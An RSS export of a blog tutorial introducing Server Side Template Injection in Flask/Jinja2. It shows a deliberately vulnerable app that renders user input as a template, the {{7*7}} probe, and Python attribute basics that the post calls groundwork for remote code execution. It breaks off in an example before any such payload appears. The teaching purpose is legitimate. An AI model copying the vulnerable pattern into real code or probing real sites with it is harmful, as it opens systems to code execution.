<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:itunes="http://www.itunes.com/dtds/podcast-1.0.dtd" xmlns:googleplay="http://www.google.com/schemas/play-podcasts/1.0"><channel><title><![CDATA[ecq ninja]]></title><description><![CDATA[We are members of ECQ's hacking team. Join us in exploring the world of hacking!]]></description><link>https://www.ecq.ninja</link><image><url>https://substackcdn.com/image/fetch/$s_!CFx9!,w_256,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2cbb72a3-36e7-4c2f-931d-146ae664656b_123x123.png</url><title>ecq ninja</title><link>https://www.ecq.ninja</link></image><generator>Substack</generator><lastBuildDate>Fri, 09 Oct 2026 23:21:54 GMT</lastBuildDate><atom:link href="https://www.ecq.ninja/feed" rel="self" type="application/rss+xml"/><language><![CDATA[en]]></language><webMaster><![CDATA[ecqblog@substack.com]]></webMaster><itunes:owner><itunes:email><![CDATA[ecqblog@substack.com]]></itunes:email><itunes:name><![CDATA[ECQ BLOG]]></itunes:name></itunes:owner><itunes:author><![CDATA[ECQ BLOG]]></itunes:author><googleplay:owner><![CDATA[ecqblog@substack.com]]></googleplay:owner><googleplay:email><![CDATA[ecqblog@substack.com]]></googleplay:email><googleplay:author><![CDATA[ECQ BLOG]]></googleplay:author><itunes:block><![CDATA[Yes]]></itunes:block><item><title><![CDATA[Touching the surface of Server Side Template Injection (SSTI)]]></title><description><![CDATA[With Jinja2 template]]></description><link>https://www.ecq.ninja/p/touching-the-surface-of-server-side</link><guid isPermaLink="false">https://www.ecq.ninja/p/touching-the-surface-of-server-side</guid><dc:creator><![CDATA[Cyrus]]></dc:creator><pubDate>Fri, 03 Nov 2023 10:14:24 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2cbb72a3-36e7-4c2f-931d-146ae664656b_123x123.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h1>What is template engine and its uses</h1><div><hr></div><p>A template engine is a tool to generate dynamic content in web applications, configuration files or any other text based documents. The template engine is not limited to building dynamic web content it is also used for network automation such as Ansible (see: <a href="https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_templating.html">https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_templating.html</a>).</p><ol><li><p>Dynamic Content Generation: Template engine allows you to embed placeholders in your templates. These placeholders are replaced with actual data when the template is rendered, the actual data could be the input of an user the user input is then rendered and filled up to the placeholders.</p></li><li><p>Template Reusability: In the context of web development, developers can design template of footers, headers, and navigation menus and reuse them across multiple web pages.</p></li><li><p>Template inheritance: Template engine such as Jinja2 allows template to be inherited and example a template which inherits the elements of <strong>example.html</strong> will look like this <code>{% extends "example.html" %}</code></p></li></ol><p>In this post, I will be using <a href="https://jinja.palletsprojects.com/en/2.10.x/templates/">Jinja2 template engine</a>.</p><div class="subscription-widget-wrap-editor" data-attrs="{&quot;url&quot;:&quot;https://www.ecq.ninja/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe&quot;,&quot;language&quot;:&quot;en&quot;}" data-component-name="SubscribeWidgetToDOM"><div class="subscription-widget show-subscribe"><div class="preamble"><p class="cta-caption">Thanks for reading ecq ninja! Subscribe for free to receive new posts and support my work.</p></div><form class="subscription-widget-subscribe"><input type="email" class="email-input" name="email" placeholder="Type your email&#8230;" tabindex="-1"><input type="submit" class="button primary" value="Subscribe"><div class="fake-input-wrapper"><div class="fake-input"></div><div class="fake-button"></div></div></form></div></div><h2>Jinja2 delimiters</h2><p>Delimiter is a "container" where we can put in our expressions or variable names, this is used for as a placeholder in template.</p><ul><li><p><code>{{ ... }}</code> for expressions such as <code>{{ variable_name }}</code></p></li><li><p><code>{% ... % }</code> for statements such as:</p></li></ul><pre><code><code>{% if myvar == another_var %}
{{ place_something_here }}
{% endif %}</code></code></pre><ul><li><p><code>{# ... #}</code> for comments.</p></li><li><p><code># ...</code> for line statement act the same as <code>{% ... % }</code><br>such as <code># if myvar == another_var</code> is the same as <code>{% if myvar == another_var %}</code></p></li></ul><h1>Server Side Template Injection (SSTI) discovery</h1><div><hr></div><p>The <a href="https://portswigger.net/web-security/images/template-decision-tree.png">Portswigger's SSTI diagram</a> is very good for testing SSTI, start from something simple such as multiplication <code>{{ 7*7 }}</code> if the result <code>49</code> is displayed on the output then the server has evaluated the placeholder, but can I do more than just mathematical operation? It will be a rabbit hole if I cannot exploit beyond just counting right?</p><p>In this post I have a very vulnerable server which takes in user input and display on the web, there are no checks so we can easily proceed to see how far we can exploit the SSTI vulnerability.</p><h1>Exploiting SSTI vulnerability</h1><p>Below is the python code for the web application:</p><pre><code><code>from flask import render_template_string, request, Flask

app = Flask(__name__)


@app.route('/')
def index():
    if request.args.get("text"):
        return render_template_string(request.args.get("text"))
    else:
        return "Use http://&lt;ip&gt;:5000/?text=write_anything_here"


if __name__ == "__main__":
    app.run()</code></code></pre><p>The application looks like this:<br></p><div class="captioned-image-container"><figure><div class="image-link image2" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!LeJO!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fda8d7290-0d7d-46bb-9b70-19fd42a52198.heic 424w, https://substackcdn.com/image/fetch/$s_!LeJO!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fda8d7290-0d7d-46bb-9b70-19fd42a52198.heic 848w, https://substackcdn.com/image/fetch/$s_!LeJO!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fda8d7290-0d7d-46bb-9b70-19fd42a52198.heic 1272w, https://substackcdn.com/image/fetch/$s_!LeJO!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fda8d7290-0d7d-46bb-9b70-19fd42a52198.heic 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!LeJO!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fda8d7290-0d7d-46bb-9b70-19fd42a52198.heic" width="817" height="117" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/da8d7290-0d7d-46bb-9b70-19fd42a52198.heic&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:117,&quot;width&quot;:817,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:11392,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/heic&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!LeJO!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fda8d7290-0d7d-46bb-9b70-19fd42a52198.heic 424w, https://substackcdn.com/image/fetch/$s_!LeJO!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fda8d7290-0d7d-46bb-9b70-19fd42a52198.heic 848w, https://substackcdn.com/image/fetch/$s_!LeJO!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fda8d7290-0d7d-46bb-9b70-19fd42a52198.heic 1272w, https://substackcdn.com/image/fetch/$s_!LeJO!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fda8d7290-0d7d-46bb-9b70-19fd42a52198.heic 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></div></figure></div><p>I put <strong>/?text=hello</strong></p><div class="captioned-image-container"><figure><div class="image-link image2" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!sNWu!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F766be6e6-f0e4-4652-b6bd-ee7c97b2e557.heic 424w, https://substackcdn.com/image/fetch/$s_!sNWu!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F766be6e6-f0e4-4652-b6bd-ee7c97b2e557.heic 848w, https://substackcdn.com/image/fetch/$s_!sNWu!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F766be6e6-f0e4-4652-b6bd-ee7c97b2e557.heic 1272w, https://substackcdn.com/image/fetch/$s_!sNWu!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F766be6e6-f0e4-4652-b6bd-ee7c97b2e557.heic 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!sNWu!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F766be6e6-f0e4-4652-b6bd-ee7c97b2e557.heic" width="817" height="117" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/766be6e6-f0e4-4652-b6bd-ee7c97b2e557.heic&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:117,&quot;width&quot;:817,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:8642,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/heic&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!sNWu!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F766be6e6-f0e4-4652-b6bd-ee7c97b2e557.heic 424w, https://substackcdn.com/image/fetch/$s_!sNWu!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F766be6e6-f0e4-4652-b6bd-ee7c97b2e557.heic 848w, https://substackcdn.com/image/fetch/$s_!sNWu!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F766be6e6-f0e4-4652-b6bd-ee7c97b2e557.heic 1272w, https://substackcdn.com/image/fetch/$s_!sNWu!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F766be6e6-f0e4-4652-b6bd-ee7c97b2e557.heic 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></div></figure></div><p>Always test with the simplest payload such as <code>{{7*7}}</code>, if the result is <code>49</code> then there is a SSTI vulnerability, but we need to get beyond just mathematical operation, we need to attempt if we can gain <strong>Remote Code Execution</strong> (RCE).</p><p><strong><a href="https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md">PayloadsAllTheThings</a></strong> has a very good methodology and testing methods.</p><p>Now before we try the payloads on <strong><a href="https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md">PayloadsAllTheThings</a></strong> we need to understand some terminologies of python.</p><p>As observed from the code the web application is built using <strong><a href="https://pythonbasics.org/what-is-flask-python/">Flask</a></strong>, and <strong>Flask</strong> is a python web framework which uses <strong>Jinja2</strong> as template engine.</p><h2>Python Attributes: <em><strong>__class__</strong></em></h2><p><code>__class__</code> display which class the instance belongs to, an instance can be <code>self</code> which in this context is <code>jinja2</code>, can be a <strong>string</strong>, <strong>tuple</strong>, <strong>dict</strong> or <strong>list</strong>.<br>Examples:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!f21g!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6ab024ad-24f7-4dca-be8f-8e798afcc783.heic" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!f21g!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6ab024ad-24f7-4dca-be8f-8e798afcc783.heic 424w, https://substackcdn.com/image/fetch/$s_!f21g!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6ab024ad-24f7-4dca-be8f-8e798afcc783.heic 848w, https://substackcdn.com/image/fetch/$s_!f21g!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6ab024ad-24f7-4dca-be8f-8e798afcc783.heic 1272w, https://substackcdn.com/image/fetch/$s_!f21g!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6ab024ad-24f7-4dca-be8f-8e798afcc783.heic 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!f21g!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6ab024ad-24f7-4dca-be8f-8e798afcc783.heic" width="717" height="263" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/6ab024ad-24f7-4dca-be8f-8e798afcc783.heic&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:263,&quot;width&quot;:717,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:23024,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/heic&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!f21g!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6ab024ad-24f7-4dca-be8f-8e798afcc783.heic 424w, https://substackcdn.com/image/fetch/$s_!f21g!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6ab024ad-24f7-4dca-be8f-8e798afcc783.heic 848w, https://substackcdn.com/image/fetch/$s_!f21g!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6ab024ad-24f7-4dca-be8f-8e798afcc783.heic 1272w, https://substackcdn.com/image/fetch/$s_!f21g!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6ab024ad-24f7-4dca-be8f-8e798afcc783.heic 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image buttonBase-GK1x3M"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg" class="icon-noB79L"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image buttonBase-GK1x3M"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2 icon-noB79L"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><h2>Python Attributes: <em><strong>__base__</strong></em></h2><p><code>__base__</code> is the parent class, by doing <code>''.__class__.__base__</code> we know that the <strong>string</strong> class is inherited from <strong>object</strong>class. If the instance is inherited from more than one parent class, then the <code>__base__</code> will display a tuple of <strong>parent classes</strong>. A tuple in Python's context is an ordered and immutable (unchangeable) collection which is presented by <code>().</code></p><div class="captioned-image-container"><figure><div class="image-link image2" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!P1iH!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F19263b2e-431c-48ea-bb29-d70bb21c772f.heic 424w, https://substackcdn.com/image/fetch/$s_!P1iH!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F19263b2e-431c-48ea-bb29-d70bb21c772f.heic 848w, https://substackcdn.com/image/fetch/$s_!P1iH!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F19263b2e-431c-48ea-bb29-d70bb21c772f.heic 1272w, https://substackcdn.com/image/fetch/$s_!P1iH!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F19263b2e-431c-48ea-bb29-d70bb21c772f.heic 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!P1iH!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F19263b2e-431c-48ea-bb29-d70bb21c772f.heic" width="303" height="62" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/19263b2e-431c-48ea-bb29-d70bb21c772f.heic&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:62,&quot;width&quot;:303,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:3690,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/heic&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!P1iH!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F19263b2e-431c-48ea-bb29-d70bb21c772f.heic 424w, https://substackcdn.com/image/fetch/$s_!P1iH!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F19263b2e-431c-48ea-bb29-d70bb21c772f.heic 848w, https://substackcdn.com/image/fetch/$s_!P1iH!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F19263b2e-431c-48ea-bb29-d70bb21c772f.heic 1272w, https://substackcdn.com/image/fetch/$s_!P1iH!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F19263b2e-431c-48ea-bb29-d70bb21c772f.heic 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></div></figure></div><h2>Python Attributes: <em><strong>__mro__</strong></em></h2><p>Python supports class inheritance, the class that is inherited from parent (superclass) class is known as the child (subclass), in order for Python to execute the method the <strong>method resolution order</strong> defines the order in which the python will search from the base classes.</p><p>An example:</p><pre><code><code>class A:
    def info(self):
        print("A is called.")

class B:
    def info(self):
        print("B is called.")

class C(A, B):
    pass

d = C()
d.info()</code></code></pre><p>Output:</p><div class="captioned-image-container"><figure><div class="image-link image2" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!el5R!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3f2532d3-b2f5-41b0-837b-1b2c03ab3d10.heic 424w, https://substackcdn.com/image/fetch/$s_!el5R!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3f2532d3-b2f5-41b0-837b-1b2c03ab3d10.heic 848w, https://substackcdn.com/image/fetch/$s_!el5R!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3f2532d3-b2f5-41b0-837b-1b2c03ab3d10.heic 1272w, https://substackcdn.com/image/fetch/$s_!el5R!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3f2532d3-b2f5-41b0-837b-1b2c03ab3d10.heic 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!el5R!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3f2532d3-b2f5-41b0-837b-1b2c03ab3d10.heic" width="303" height="62" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/3f2532d3-b2f5-41b0-837b-1b2c03ab3d10.heic&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:62,&quot;width&quot;:303,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:3408,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/heic&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!el5R!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3f2532d3-b2f5-41b0-837b-1b2c03ab3d10.heic 424w, https://substackcdn.com/image/fetch/$s_!el5R!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3f2532d3-b2f5-41b0-837b-1b2c03ab3d10.heic 848w, https://substackcdn.com/image/fetch/$s_!el5R!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3f2532d3-b2f5-41b0-837b-1b2c03ab3d10.heic 1272w, https://substackcdn.com/image/fetch/$s_!el5R!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3f2532d3-b2f5-41b0-837b-1b2c03ab3d10.heic 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></div></figure></div><pre><code><code>class A:
    def info(self):
        print("A is called.")

class B:
    def info(self):
        print("B is called.")

class C(B, A):
    pass

d = C()
d.info()</code></code></pre><p>Output:</p><div class="captioned-image-container"><figure><div class="image-link image2" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!cDBu!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe12c9516-6fdc-4037-8993-789842bface7.heic 424w, https://substackcdn.com/image/fetch/$s_!cDBu!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe12c9516-6fdc-4037-8993-789842bface7.heic 848w, https://substackcdn.com/image/fetch/$s_!cDBu!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe12c9516-6fdc-4037-8993-789842bface7.heic 1272w, https://substackcdn.com/image/fetch/$s_!cDBu!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe12c9516-6fdc-4037-8993-789842bface7.heic 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!cDBu!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe12c9516-6fdc-4037-8993-789842bface7.heic" width="303" height="62" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/e12c9516-6fdc-4037-8993-789842bface7.heic&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:62,&quot;width&quot;:303,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:3418,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/heic&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!cDBu!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe12c9516-6fdc-4037-8993-789842bface7.heic 424w, https://substackcdn.com/image/fetch/$s_!cDBu!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe12c9516-6fdc-4037-8993-789842bface7.heic 848w, https://substackcdn.com/image/fetch/$s_!cDBu!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe12c9516-6fdc-4037-8993-789842bface7.heic 1272w, https://substackcdn.com/image/fetch/$s_!cDBu!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe12c9516-6fdc-4037-8993-789842bface7.heic 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></div></figure></div><pre><code><code>class A:
    def info(self):
        print("A is called.")

class B:
    def info(self):
        print("B is called.")

class C(B, A):
    pass

d = C()
